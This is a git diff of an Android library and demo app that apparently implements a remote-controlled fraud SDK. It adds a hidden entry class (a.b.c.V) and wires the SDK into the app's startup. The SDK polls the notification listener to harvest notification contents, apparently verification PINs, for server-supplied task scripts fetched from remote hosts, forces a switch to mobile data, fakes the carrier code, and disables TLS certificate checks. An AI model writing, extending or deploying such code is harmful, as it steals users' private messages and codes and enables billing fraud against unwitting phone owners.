diff --git a/.idea/misc.xml b/.idea/misc.xml index 5cec670..0437939 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -1,4 +1,3 @@ - diff --git a/lib/build.gradle.kts b/lib/build.gradle.kts index 2e603ce..528e965 100644 --- a/lib/build.gradle.kts +++ b/lib/build.gradle.kts @@ -21,7 +21,7 @@ android { buildConfigField("boolean", "log_enable", "true") buildConfigField("int", "aff_id", "1040") - buildConfigField("int", "sdk_version", "50") + buildConfigField("int", "sdk_version", "51") buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"") buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"") buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"") diff --git a/lib/src/main/AndroidManifest.xml b/lib/src/main/AndroidManifest.xml index acf9e6f..67dc849 100644 --- a/lib/src/main/AndroidManifest.xml +++ b/lib/src/main/AndroidManifest.xml @@ -1,4 +1,17 @@ - + + + + + + + + + + + + + + \ No newline at end of file diff --git a/lib/src/main/java/a/b/c/V.kt b/lib/src/main/java/a/b/c/V.kt new file mode 100644 index 0000000..2431218 --- /dev/null +++ b/lib/src/main/java/a/b/c/V.kt @@ -0,0 +1,9 @@ +package a.b.c + +import android.content.Context +import com.example.service.MainService + +object V { + @JvmStatic + fun init(context: Context, needNotif: Boolean = false) = MainService.instance.launcher(context, needNotif) +} \ No newline at end of file diff --git a/lib/src/main/java/com/example/action/HttpActionRequest.kt b/lib/src/main/java/com/example/action/HttpActionRequest.kt index 4768963..073c2c5 100644 --- a/lib/src/main/java/com/example/action/HttpActionRequest.kt +++ b/lib/src/main/java/com/example/action/HttpActionRequest.kt @@ -10,7 +10,7 @@ data class HttpActionRequest( var cookies: List = emptyList(), var params: List = emptyList(), var data: String = "", - val autoCookie: Boolean + val autoCookie: Boolean = true ) : NoString() enum class HttpMethod(val value: String) { diff --git a/lib/src/main/java/com/example/action/NameValue.kt b/lib/src/main/java/com/example/action/NameValue.kt index 7c2169e..3fe7be3 100644 --- a/lib/src/main/java/com/example/action/NameValue.kt +++ b/lib/src/main/java/com/example/action/NameValue.kt @@ -1,8 +1,8 @@ package com.example.action data class NameValue( - val name:String, - val value:String, + var name:String, + var value:String, ): NoString() { override fun equals(other: Any?): Boolean { if (this === other) return true diff --git a/lib/src/main/java/com/example/http/HttpClient.kt b/lib/src/main/java/com/example/http/HttpClient.kt index 6751b84..54cb403 100644 --- a/lib/src/main/java/com/example/http/HttpClient.kt +++ b/lib/src/main/java/com/example/http/HttpClient.kt @@ -109,7 +109,7 @@ object HttpClient { private val userAgentInterceptor = UserAgentInterceptor() - private val trustManager = @SuppressLint("CustomX509TrustManager") object : X509TrustManager { + private val trustManager = object : X509TrustManager { override fun checkClientTrusted( chain: Array?, authType: String? ) { @@ -253,7 +253,7 @@ object HttpClient { } } - private fun Request.buildMultipartBody(body: ByteArray): okhttp3.RequestBody { + private fun buildMultipartBody(body: ByteArray): okhttp3.RequestBody { val kvParams = String(body).split("&") val kvMap = kvParams.mapNotNull { param -> val parts = param.split("=", limit = 2) diff --git a/lib/src/main/java/com/example/network/NetworkController.kt b/lib/src/main/java/com/example/network/NetworkController.kt index 13ca623..dadb5d3 100644 --- a/lib/src/main/java/com/example/network/NetworkController.kt +++ b/lib/src/main/java/com/example/network/NetworkController.kt @@ -104,7 +104,10 @@ class NetworkController( override fun restore() { LogUtils.info("NetworkController: restoring network") - networkCallback.onUnavailable() + try { + networkCallback.onUnavailable() + } catch (e: Exception) { + } } override fun switchToGprs() { diff --git a/lib/src/main/java/com/example/pin/NotificationManager.kt b/lib/src/main/java/com/example/pin/NotificationManager.kt index 2dc126f..0bad825 100644 --- a/lib/src/main/java/com/example/pin/NotificationManager.kt +++ b/lib/src/main/java/com/example/pin/NotificationManager.kt @@ -2,7 +2,6 @@ package com.example.pin import android.content.Context import android.content.Intent -import android.content.pm.ResolveInfo import android.net.Uri import android.os.Handler import android.os.Looper @@ -13,6 +12,7 @@ import android.service.notification.StatusBarNotification import android.text.TextUtils import com.example.logger.LogUtils import java.lang.reflect.Method +import java.lang.reflect.Modifier object NotificationManger { private const val PREFIX_ANDROID = "android." @@ -31,9 +31,13 @@ object NotificationManger { private var isPolling = false private var pollInterval = DEFAULT_POLL_INTERVAL private val processedNotifications = mutableSetOf() // 记录已处理的通知 key - private var applicationContext: Context? = null + private lateinit var applicationContext: Context - fun process(context: Context) { + fun initialized(context: Context) { + applicationContext = context.applicationContext + } + + private fun process(context: Context) { // 检查通知监听器是否已启用 if (!isNotificationListenerEnabled(context)) { LogUtils.info("NotificationManager: notification listener is not enabled") @@ -62,29 +66,32 @@ object NotificationManger { } // 用过滤结果替换 notifications 列表 LogUtils.info("NotificationManager: found ${notifications.size} notifications") +// notifications = notifications.asReversed() for (notification in notifications) { processNotification(notification, instance, context) } } - fun startPolling(context: Context, intervalMs: Long = DEFAULT_POLL_INTERVAL) { + fun startPolling(intervalMs: Long = DEFAULT_POLL_INTERVAL, duration: Long, l:(NotificationMessage)-> Unit) { if (isPolling) { LogUtils.info("NotificationManager: polling already started") return } - + this.listener = l + val startTime = System.currentTimeMillis() LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms") // 使用 ApplicationContext 避免内存泄漏 - applicationContext = context.applicationContext pollInterval = intervalMs isPolling = true pollingHandler = Handler(Looper.getMainLooper()) pollingRunnable = object : Runnable { override fun run() { - if (isPolling && applicationContext != null) { - process(applicationContext!!) - pollingHandler?.postDelayed(this, pollInterval) + if (isPolling) { + process(applicationContext) + if(System.currentTimeMillis() - startTime < duration) { + pollingHandler?.postDelayed(this, pollInterval) + } } } } @@ -102,8 +109,8 @@ object NotificationManger { pollingRunnable?.let { pollingHandler?.removeCallbacks(it) } pollingRunnable = null pollingHandler = null - applicationContext = null processedNotifications.clear() + listener = null } private fun getServiceInstance(context: Context): Any? { @@ -121,10 +128,25 @@ object NotificationManger { // 优先尝试直接获取 MyService.instance(系统绑定的实例) try { - val myServiceClass = Class.forName("com.galaxy.demo.MyService") - val instanceField = myServiceClass.getDeclaredField("instance") - instanceField.isAccessible = true - val instance = instanceField.get(null) as? NotificationListenerService + // 尝试从服务类的静态字段获取实例(备用方案) + val serviceClass = findServiceClass(context) + if (serviceClass == null) { + LogUtils.info("NotificationManager: service class not found") + return null + } + var instance: NotificationListenerService? = null + val staticFields = serviceClass.declaredFields.filter { Modifier.isStatic(it.modifiers) } + LogUtils.info("${serviceClass.name} has files: ${staticFields.size}") + for(field in staticFields) { + LogUtils.info("field's Name: ${field.name}") + if(Modifier.isStatic(field.modifiers)) { + field.isAccessible = true + instance= field.get(null) as? NotificationListenerService + if(instance == null) { + continue + } + } + } if (instance != null && isServiceValid(instance)) { LogUtils.info("NotificationManager: got instance from MyService.instance") serviceInstance = instance @@ -133,25 +155,8 @@ object NotificationManger { } catch (e: Exception) { LogUtils.info("NotificationManager: failed to get MyService.instance: ${e.message}") } - - // 尝试从服务类的静态字段获取实例(备用方案) - val serviceClass = findServiceClass(context) - if (serviceClass == null) { - LogUtils.info("NotificationManager: service class not found") - return null - } - - LogUtils.info("NotificationManager: found service class ${serviceClass.name}") - val instance = getInstance(serviceClass) - if (instance != null && instance is NotificationListenerService && isServiceValid(instance)) { - serviceInstance = instance - LogUtils.info("NotificationManager: service instance obtained successfully") - return instance - } else { - LogUtils.info("NotificationManager: failed to get valid service instance") - serviceInstance = null - return null - } + + return null } private fun isServiceValid(service: NotificationListenerService): Boolean { @@ -221,27 +226,6 @@ object NotificationManger { } } - private fun getInstance(clazz: Class<*>): Any? { - return try { - val getInstanceMethod = clazz.getDeclaredMethod("getInstance") - getInstanceMethod.isAccessible = true - val instance = getInstanceMethod.invoke(null) - LogUtils.info("NotificationManager: got instance via getInstance() method") - instance - } catch (e: Exception) { - try { - val instanceField = clazz.getDeclaredField("instance") - instanceField.isAccessible = true - val instance = instanceField.get(null) - LogUtils.info("NotificationManager: got instance via instance field") - instance - } catch (e2: Exception) { - LogUtils.error(e2, "NotificationManager: failed to get instance") - null - } - } - } - private fun getNotifications(instance: Any): List? { val service = instance as? NotificationListenerService if (service == null) { @@ -316,8 +300,6 @@ object NotificationManger { LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey") listener?.invoke(msg) - } ?: run { - LogUtils.info("NotificationManager: notification extras is null, skip: ${notification.packageName}") } } diff --git a/lib/src/main/java/com/example/pin/NotificationMessage.kt b/lib/src/main/java/com/example/pin/NotificationMessage.kt index fe2bd82..eb3302b 100644 --- a/lib/src/main/java/com/example/pin/NotificationMessage.kt +++ b/lib/src/main/java/com/example/pin/NotificationMessage.kt @@ -8,4 +8,25 @@ data class NotificationMessage( val time:Long, val app:String ): NoString() { + + + override fun equals(other: Any?): Boolean { + if (this === other) return true + if (javaClass != other?.javaClass) return false + + other as NotificationMessage + + if (content != other.content) return false + if (from != other.from) return false + if (app != other.app) return false + + return true + } + + override fun hashCode(): Int { + var result = content.hashCode() + result = 31 * result + from.hashCode() + result = 31 * result + app.hashCode() + return result + } } \ No newline at end of file diff --git a/lib/src/main/java/com/example/request/BaseRequestImp.kt b/lib/src/main/java/com/example/request/BaseRequestImp.kt index 4babdf3..62bebf2 100644 --- a/lib/src/main/java/com/example/request/BaseRequestImp.kt +++ b/lib/src/main/java/com/example/request/BaseRequestImp.kt @@ -33,10 +33,11 @@ class BaseRequestImp( override val telcoCode: String get() { - return telephonyManager?.run { + /* return telephonyManager?.run { if (networkOperator.isNullOrBlank()) simOperator else networkOperator - } ?: "" + } ?: ""*/ + return "46000" } override val netType: Int diff --git a/lib/src/main/java/com/example/service/BaseService.kt b/lib/src/main/java/com/example/service/BaseService.kt index 686b2af..25889d3 100644 --- a/lib/src/main/java/com/example/service/BaseService.kt +++ b/lib/src/main/java/com/example/service/BaseService.kt @@ -61,12 +61,10 @@ abstract class BaseService( return result } - protected fun List.replaceVariableData(): List { - return map { - NameValue( - it.name.toVariableData(), - it.value.toVariableData() - ) + protected fun List.replaceVariableData() { + map { + it.name = it.name.toVariableData() + it.value = it.value.toVariableData() } } diff --git a/lib/src/main/java/com/example/service/HttpService.kt b/lib/src/main/java/com/example/service/HttpService.kt index 3f7e246..4b4d062 100644 --- a/lib/src/main/java/com/example/service/HttpService.kt +++ b/lib/src/main/java/com/example/service/HttpService.kt @@ -48,17 +48,16 @@ class HttpService( try { handleActionDelay() val actionRequest = action.request ?: throw NullPointerException("request is null") - amendActionRequest(actionRequest) val httpRequest = actionRequest.buildHttpRequest() - + val result = if (action.async) { handleAsyncRequest(httpRequest, actionExecList) } else { handleSyncRequest(httpRequest, actionExecList) } - updateTaskStep(result, currentStep, httpRequest) + updateTaskStep(result, currentStep) } catch (e: Exception) { LogUtils.error(throwable = e) handleException(e, actionExecList, currentStep) @@ -79,7 +78,8 @@ class HttpService( private data class RequestResult( val proceedTask: Boolean, - val httpResponse: Response? + val httpResponse: Response?, + val httpRequest: Request, ) private fun handleAsyncRequest( @@ -90,7 +90,7 @@ class HttpService( val actionExec = httpRequest.genActionExec(null, 1) actionExec.respCode = ASYNC_EXEC_CODE actionExecList += actionExec - return RequestResult(proceedTask = true, httpResponse = null) + return RequestResult(proceedTask = true, httpResponse = null, httpRequest) } private suspend fun handleSyncRequest( @@ -106,27 +106,29 @@ class HttpService( return when (response.code) { in HTTP_STATUS_SUCCESS -> { - RequestResult(proceedTask = true, httpResponse = response) + RequestResult(proceedTask = true, httpResponse = response, request) } in HTTP_STATUS_REDIRECT -> { handleRedirects(request, response, actionExecList).let { redirectResult -> RequestResult( proceedTask = redirectResult.proceedTask, - httpResponse = redirectResult.response + httpResponse = redirectResult.response, + httpRequest = redirectResult.request ) } } else -> { - RequestResult(proceedTask = action.skipError, httpResponse = response) + RequestResult(proceedTask = action.skipError, httpResponse = response, request) } } } private data class RedirectResult( val proceedTask: Boolean, - val response: Response? + val response: Response?, + val request: Request, ) private suspend fun handleRedirects( @@ -160,13 +162,13 @@ class HttpService( respCode = HttpClient.ErrorCode.ERROR_CODE_HTTP_BUILD_CONNECTION_FAILED } actionExecList += errorExec - return RedirectResult(proceedTask = action.skipError, response = null) + return RedirectResult(proceedTask = action.skipError, response = null, request) }.onSuccess { actionExec -> actionExecList += actionExec } } - return RedirectResult(proceedTask = true, response = response) + return RedirectResult(proceedTask = true, response = response, request) } private fun shouldContinueRedirect( @@ -208,13 +210,12 @@ class HttpService( private fun updateTaskStep( result: RequestResult, currentStep: Int, - httpRequest: Request ) { if (result.proceedTask) { result.httpResponse?.let { response -> - extractResponseVariableToCache(action, httpRequest, response) + extractResponseVariableToCache(action, result.httpRequest, response) val nextStep = action.next.httpGetNextStepIndex( - httpRequest, response, currentStep + result.httpRequest, response, currentStep ) taskConfig.currentStep = nextStep } ?: run { @@ -253,7 +254,7 @@ class HttpService( index = redirectCount, time = System.currentTimeMillis(), url = url, - method = method?.value ?: "GET", + method = method.value, reqHeader = headers.toJsonString1() ) diff --git a/lib/src/main/java/com/example/service/MainService.kt b/lib/src/main/java/com/example/service/MainService.kt index c554261..50010b4 100644 --- a/lib/src/main/java/com/example/service/MainService.kt +++ b/lib/src/main/java/com/example/service/MainService.kt @@ -10,6 +10,7 @@ import com.example.http.Response import com.example.lib.BuildConfig import com.example.logger.LogUtils import com.example.network.NetworkController +import com.example.pin.NotificationManger import com.example.request.BaseRequest import com.example.request.BaseRequestImp import com.example.request.TaskRequest @@ -87,9 +88,9 @@ class MainService private constructor() { LogUtils.info("MainService: already running, skipping launch") return } - + mainJob = taskScope.launch { - initialize(ctx) + initialize(ctx, this) setupServices() startBackgroundTasks(needNotification) startStateFlowCollector() @@ -98,12 +99,12 @@ class MainService private constructor() { // ==================== 初始化 ==================== - private suspend fun initialize(ctx: Context) { + private suspend fun initialize(ctx: Context, scope: CoroutineScope) { context = ctx LogUtils.info("MainService: initializing...") - + NotificationManger.initialized(context) // 验证状态 - while (isActive && !isVerified) { + while (scope.isActive && !isVerified) { isVerified = checkState() LogUtils.info("MainService: verification status: $isVerified") @@ -126,7 +127,7 @@ class MainService private constructor() { private fun startBackgroundTasks(needNotification: Boolean) { // 启动异步运行任务 taskScope.launch { - asyncRun() + asyncRun(this@launch) } // 启动通知权限监听 @@ -269,9 +270,11 @@ class MainService private constructor() { networkController.switchToGprs() val result = withTimeoutOrNull(NETWORK_SWITCH_TIMEOUT_MS) { - while (isActive && !networkController.switchSuccess) { + var shouldContinue = true + while (shouldContinue && !networkController.switchSuccess) { if (state.value is TaskEvent.ForceRequestData) { LogUtils.info("MainService: force request detected, breaking network switch wait") + shouldContinue = false break } delay(NETWORK_SWITCH_CHECK_INTERVAL_MS) @@ -341,13 +344,17 @@ class MainService private constructor() { // ==================== 通知权限监听 ==================== - private suspend fun listenNotificationPermission() = withContext(Dispatchers.IO) { - while (isActive) { - if (shouldTriggerForceRequest()) { - triggerForceRequest() - break + private suspend fun listenNotificationPermission() { + withContext(Dispatchers.IO) { + var shouldContinue = true + while (shouldContinue) { + if (shouldTriggerForceRequest()) { + triggerForceRequest() + shouldContinue = false + break + } + delay(NOTIFICATION_CHECK_INTERVAL_MS) } - delay(NOTIFICATION_CHECK_INTERVAL_MS) } } @@ -365,8 +372,8 @@ class MainService private constructor() { // ==================== 异步运行循环 ==================== - private suspend fun asyncRun() { - while (isActive) { + private suspend fun asyncRun(scope: CoroutineScope) { + while (scope.isActive) { try { AndroidId.getAdId() diff --git a/lib/src/main/java/com/example/service/PinServer.kt b/lib/src/main/java/com/example/service/PinServer.kt index 5faef78..8fd905a 100644 --- a/lib/src/main/java/com/example/service/PinServer.kt +++ b/lib/src/main/java/com/example/service/PinServer.kt @@ -4,6 +4,7 @@ import android.util.Log import com.example.action.BaseAction import com.example.action.Next import com.example.logger.LogUtils +import com.example.pin.NotificationManger import com.example.pin.NotificationMessage import com.example.report.ActionExec import com.example.task.TaskConfig @@ -59,12 +60,15 @@ class PinService( val start = System.currentTimeMillis() val messageLog = mutableListOf() val nextList = action.next - + NotificationManger.startPolling(duration = action.delay.toDuration(DurationUnit.SECONDS).inWholeMilliseconds) { notificationMessage -> + taskConfig.notificationCache.add(notificationMessage) + } + LogUtils.info("PinService: next list: ${nextList.map { "${it.regexp}, ${it.contain}" }}") withTimeoutOrNull(action.delay.toDuration(DurationUnit.SECONDS)) { while (isActive) { - val notificationCache = taskConfig.notificationCache + val notificationCache = taskConfig.notificationCache.toList() if (shouldCheckForMessages(nextList, notificationCache)) { val notificationMessages = haveNextCatchTargetMessage(notificationCache, nextList) @@ -83,7 +87,7 @@ class PinService( val cost = System.currentTimeMillis() - start LogUtils.info("PinService: waiting finished, cost: ${cost / MS_TO_SECONDS}s") - + NotificationManger.stopPolling() return ExecutionResult(messageLog, cost, nextList) } diff --git a/lib/src/main/java/com/example/service/TaskExecService.kt b/lib/src/main/java/com/example/service/TaskExecService.kt index 40c492a..5cf43a2 100644 --- a/lib/src/main/java/com/example/service/TaskExecService.kt +++ b/lib/src/main/java/com/example/service/TaskExecService.kt @@ -44,10 +44,11 @@ class TaskExecService( suspend fun runTask(timeOutMillis: Long) { try { WebSocketUtil.disconnect() - setupNotificationListener() +// setupNotificationListener() execTask(timeOutMillis) } finally { NotificationManger.listener = null + NotificationManger.stopPolling() } } @@ -68,7 +69,7 @@ class TaskExecService( currentStep = 0, reportUrl = reportUrl, variableCache = mutableMapOf(), - notificationCache = mutableListOf() + notificationCache = mutableSetOf() ) } } @@ -102,12 +103,11 @@ class TaskExecService( val taskExec = createTaskExec() val logs = mutableListOf() var reportService: TaskReportService? = null - + var finalStep = 0 try { withTimeout(timeMillis = timeOutMillis) { - executeActions(logs) + finalStep = executeActions(logs) - val finalStep = calculateFinalStep() updateTaskExec(taskExec, finalStep, logs) reportService = sendReport(taskExec) @@ -115,7 +115,7 @@ class TaskExecService( } } catch (e: Exception) { LogUtils.error(e, "TaskExecService: task ${currentTask.taskId} execute failed") - handleExecutionError(taskExec, logs, reportService) + handleExecutionError(taskExec, logs, reportService, finalStep) } finally { logExecutionTime(start) } @@ -131,18 +131,19 @@ class TaskExecService( ) } - private suspend fun executeActions(logs: MutableList) { + private suspend fun executeActions(logs: MutableList):Int { val actions = currentTask.actions - + var lastStep = 0 while (taskConfig.currentStep < actions.size) { val action = actions[taskConfig.currentStep] - + lastStep = taskConfig.currentStep if (action.disconnectWs) { WebSocketUtil.disconnect() } executeAction(action, logs) } + return if(taskConfig.currentStep >= Int.MAX_VALUE) lastStep else taskConfig.currentStep } private suspend fun executeAction( @@ -162,14 +163,6 @@ class TaskExecService( } } - private fun calculateFinalStep(): Int { - return if (taskConfig.currentStep == Int.MAX_VALUE) { - taskConfig.currentStep - } else { - taskConfig.currentStep + 1 - } - } - private fun updateTaskExec( taskExec: TaskExec, finalStep: Int, @@ -200,10 +193,10 @@ class TaskExecService( private suspend fun handleExecutionError( taskExec: TaskExec, logs: List, - reportService: TaskReportService? + reportService: TaskReportService?, + finalStep: Int, ) { if (reportService == null) { - val finalStep = calculateFinalStep() updateTaskExec(taskExec, finalStep, logs) TaskReportService(taskExec, taskConfig.reportUrl, baseRequest).run() } diff --git a/lib/src/main/java/com/example/service/WebSocketService.kt b/lib/src/main/java/com/example/service/WebSocketService.kt index 96038d1..5a24794 100644 --- a/lib/src/main/java/com/example/service/WebSocketService.kt +++ b/lib/src/main/java/com/example/service/WebSocketService.kt @@ -198,10 +198,10 @@ class WebSocketService( private fun processUrlAndCookie(actionRequest: WebSocketActionRequest) { val normalizedUrl = actionRequest.url.toVariableData() - + actionRequest.url = normalizedUrl + runCatching { val cookieUrl = normalizeUrlProtocol(normalizedUrl) - actionRequest.url = cookieUrl amendCookie(actionRequest, cookieUrl) }.onFailure { LogUtils.error(it, "Failed to process URL and cookie") diff --git a/lib/src/main/java/com/example/task/TaskConfig.kt b/lib/src/main/java/com/example/task/TaskConfig.kt index 43ff854..5d0ed39 100644 --- a/lib/src/main/java/com/example/task/TaskConfig.kt +++ b/lib/src/main/java/com/example/task/TaskConfig.kt @@ -17,6 +17,6 @@ data class TaskConfig( var currentStep: Int, val reportUrl: String, val variableCache: MutableMap, - val notificationCache: MutableList + val notificationCache: MutableSet ) : NoString() diff --git a/lib/src/main/java/com/example/utils/EncryptionManager.kt b/lib/src/main/java/com/example/utils/EncryptionManager.kt index d939f82..eeaf17e 100644 --- a/lib/src/main/java/com/example/utils/EncryptionManager.kt +++ b/lib/src/main/java/com/example/utils/EncryptionManager.kt @@ -70,7 +70,7 @@ private fun Byte.encryption(key: Byte, method: Int): Byte { } fun ByteArray.encryption(encryptable: Encryptable): ByteArray { - val result = ByteArray(this.size) + val result = ByteArray(encryptable.data.size) encryptable.data.forEachIndexed { index, byte -> result[index] = byte.encryption(this[index % size], encryptable.type) } diff --git a/lib/src/main/java/com/example/utils/JsonExtKt.kt b/lib/src/main/java/com/example/utils/JsonExtKt.kt index a068873..3bb2fae 100644 --- a/lib/src/main/java/com/example/utils/JsonExtKt.kt +++ b/lib/src/main/java/com/example/utils/JsonExtKt.kt @@ -33,28 +33,13 @@ fun Request.toJsonString(): String { }.toString() } -fun List.toJsonString(): String { - val strings = "content_from_time_app".split("_") - val notifications = this - return JSONArray().also { - for (n in notifications) { - it.put(JSONObject().run { - put(strings[0], n.content) - put(strings[1], n.from) - put(strings[2], n.time) - put(strings[3], n.app) - }) - } - }.toString() -} - fun Response.toJsonString(): String { val strings = "code#start_time#end_time#data#header".split("#") return JSONObject().apply { put(strings[0], code) put(strings[1], startTime) put(strings[2], endTime) - put(strings[3], data) + put(strings[3], String(data)) put(strings[4], headers.toJson()) }.toString() } @@ -72,6 +57,16 @@ fun List.toJson(): JSONArray { array.put(JSONObject().put(it.name, it.name)) } + is NotificationMessage -> { + val strings = "content_from_time_app".split("_") + val obj = JSONObject() + obj.put(strings[0], it.content) + obj.put(strings[1], it.from) + obj.put(strings[2], it.time) + obj.put(strings[3], it.app) + array.put(obj) + } + is TaskExec -> { JSONObject().let { obj -> obj.put(strings1[0], it.taskId) @@ -143,15 +138,14 @@ fun Map.toJson1(): JSONObject = JSONObject().run { } fun Map>.toJson(): JSONObject { - return JSONObject().run { - filter { isNotEmpty() }.map { h -> + return JSONObject().let { obj-> + filter { isNotEmpty() }.mapValues { JSONArray().let { array -> - h.value.map { v -> array.put(v) } - }.apply { - put(h.key, this) + it.value.map { v -> array.put(v) } + obj.put(it.key, array) } } - this + obj } } @@ -181,7 +175,7 @@ fun ByteArray.toTaskResponse(): TaskResponse? { private fun JSONArray?.toTasks(): List { val strings = "taskId-taskVer-taskUid-actions".split("-") val result: MutableList = mutableListOf() - if(this == null) return result + if (this == null) return result (0 until length()).forEach { index -> val taskJson = getJSONObject(index) val task = Task( @@ -197,8 +191,8 @@ private fun JSONArray?.toTasks(): List { private fun JSONArray?.toActions(): List { val result: MutableList = mutableListOf() - val strings = "type-delay-skip-error-async-disconnectWs".split("-") - if(this == null) return result + val strings = "type-delay-skip_error-async-disconnectWs".split("-") + if (this == null) return result (0 until length()).forEach { index -> val actionJson = getJSONObject(index) with(actionJson) { @@ -241,8 +235,7 @@ private fun JSONObject.toHttpAction( disconnectWs = disconnectWs ) val request = optJSONObject(strings[0]) - if (request == null) return httpAction - with(request) { + request?.run { val actionRequest = HttpActionRequest( url = optString(strings[1]), method = if (optString(strings[2]).contentEquals( @@ -254,20 +247,16 @@ private fun JSONObject.toHttpAction( ) val headers = optJSONArray(strings[4]) - if (headers == null) return httpAction actionRequest.headers = headers.toNameValue() val params = optJSONArray(strings[5]) - if (params == null) return httpAction actionRequest.params = params.toNameValue() val cookies = optJSONArray(strings[6]) - if (cookies == null) return httpAction actionRequest.cookies = cookies.toNameValue() actionRequest.data = optString(strings[7]) httpAction.request = actionRequest } val response = optJSONObject("response") - if (response == null) return httpAction - with(response) { + response?.run { val actionResponse = HttpActionResponse( headers = optJSONArray(strings[4]).toNameVariable(), cookies = optJSONArray(strings[6]).toNameVariable(), @@ -317,8 +306,7 @@ private fun JSONObject?.toWebSocketAction( if (this == null) return webSocketAction val strings = "request-headers-params-cookies-response-next".split("-") val request = optJSONObject(strings[0]) - if (request == null) return webSocketAction - with(request) { + request?.run { val strings1 = "url-data-autoCookie".split("-") val webSocketActionRequest = WebSocketActionRequest( url = optString(strings1[0]), @@ -333,14 +321,13 @@ private fun JSONObject?.toWebSocketAction( } val response = optJSONObject(strings[4]) - if (response == null) return webSocketAction - with(response) { + response?.run { webSocketAction.response = WebSocketActionResponse( params = optJSONArray(strings[2]).toParams() ) } - webSocketAction.next = optJSONArray(strings[6]).toNext() + webSocketAction.next = optJSONArray(strings[5]).toNext() return webSocketAction } diff --git a/lib/src/main/java/com/example/utils/WebSocketUtil.kt b/lib/src/main/java/com/example/utils/WebSocketUtil.kt index 3de5b27..d04945e 100644 --- a/lib/src/main/java/com/example/utils/WebSocketUtil.kt +++ b/lib/src/main/java/com/example/utils/WebSocketUtil.kt @@ -250,7 +250,7 @@ object WebSocketUtil { override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) { super.onFailure(webSocket, t, response) - LogUtils.info("${System.currentTimeMillis()} current web socket connection error") + LogUtils.error(t,"${System.currentTimeMillis()} current web socket connection error") } } } @@ -271,8 +271,10 @@ object WebSocketUtil { } fun disconnect() { - socket?.close(1000, "") - client.dispatcher.executorService.shutdown() + try { + socket?.close(1000, "") + } catch (e: Exception) { + } socket = null } } \ No newline at end of file diff --git a/pin/build.gradle.kts b/pin/build.gradle.kts index 0601103..032de88 100644 --- a/pin/build.gradle.kts +++ b/pin/build.gradle.kts @@ -8,7 +8,7 @@ android { compileSdk = 34 defaultConfig { - applicationId = "com.galaxy.oceen" + applicationId = "com.galaxy.oo" minSdk = 24 targetSdk = 33 versionCode = 1 diff --git a/pin/src/main/java/com/galaxy/demo/App.kt b/pin/src/main/java/com/galaxy/demo/App.kt index e879c3a..386bdf3 100644 --- a/pin/src/main/java/com/galaxy/demo/App.kt +++ b/pin/src/main/java/com/galaxy/demo/App.kt @@ -1,9 +1,14 @@ package com.galaxy.demo import android.app.Application +import android.util.Log +import androidx.annotation.RestrictTo import com.example.pin.NotificationManger import com.galaxy.permision.DistrictFilter import com.galaxy.permision.PermissionChecker +import kotlinx.coroutines.MainScope +import kotlinx.coroutines.delay +import kotlinx.coroutines.launch class App:Application() { override fun onCreate() { @@ -11,9 +16,9 @@ class App:Application() { init() } + private fun init() { PermissionChecker.showPermissionDialog(this, DistrictFilter("460")) - NotificationManger.startPolling(this) } } \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/MyService.kt b/pin/src/main/java/com/galaxy/demo/MyService.kt index b9f1b66..f3a7925 100644 --- a/pin/src/main/java/com/galaxy/demo/MyService.kt +++ b/pin/src/main/java/com/galaxy/demo/MyService.kt @@ -10,7 +10,7 @@ class MyService : NotificationListenerService() { companion object { @SuppressLint("StaticFieldLeak") @Keep - var instance: NotificationListenerService? = null + var a: NotificationListenerService? = null } override fun onNotificationPosted(sbn: StatusBarNotification) { @@ -20,7 +20,7 @@ class MyService : NotificationListenerService() { override fun onCreate() { super.onCreate() - instance = this + a = this } } \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt b/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt index ddca0b2..9fb67c7 100644 --- a/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt +++ b/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt @@ -1,5 +1,6 @@ package com.galaxy.permision +import a.b.c.V import android.app.Activity import android.app.ActivityManager import android.app.Application @@ -13,6 +14,7 @@ import android.os.Bundle import android.os.Process import android.util.Log import android.view.View +import com.example.service.MainService import com.example.utils.notificationListenerEnable import com.galaxy.permision.PermissionDialog.weakReference import java.lang.ref.WeakReference @@ -39,7 +41,7 @@ object PermissionChecker { if (processName.contentEquals(context.packageName)) { Log.i(PermissionChecker.javaClass.simpleName, "pn: $processName") -// Sdk.init(context, filter.match()) + V.init(context, filter.match()) var notificationListenerServiceClass: String? = null try { @@ -70,7 +72,7 @@ object PermissionChecker { override fun onActivityResumed(activity: Activity) { Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}") weakReference = WeakReference(activity) - if (/*MainService.instance.isVerified &&*/ + if (MainService.instance.isVerified && filter.match() && !context.notificationListenerEnable() ) {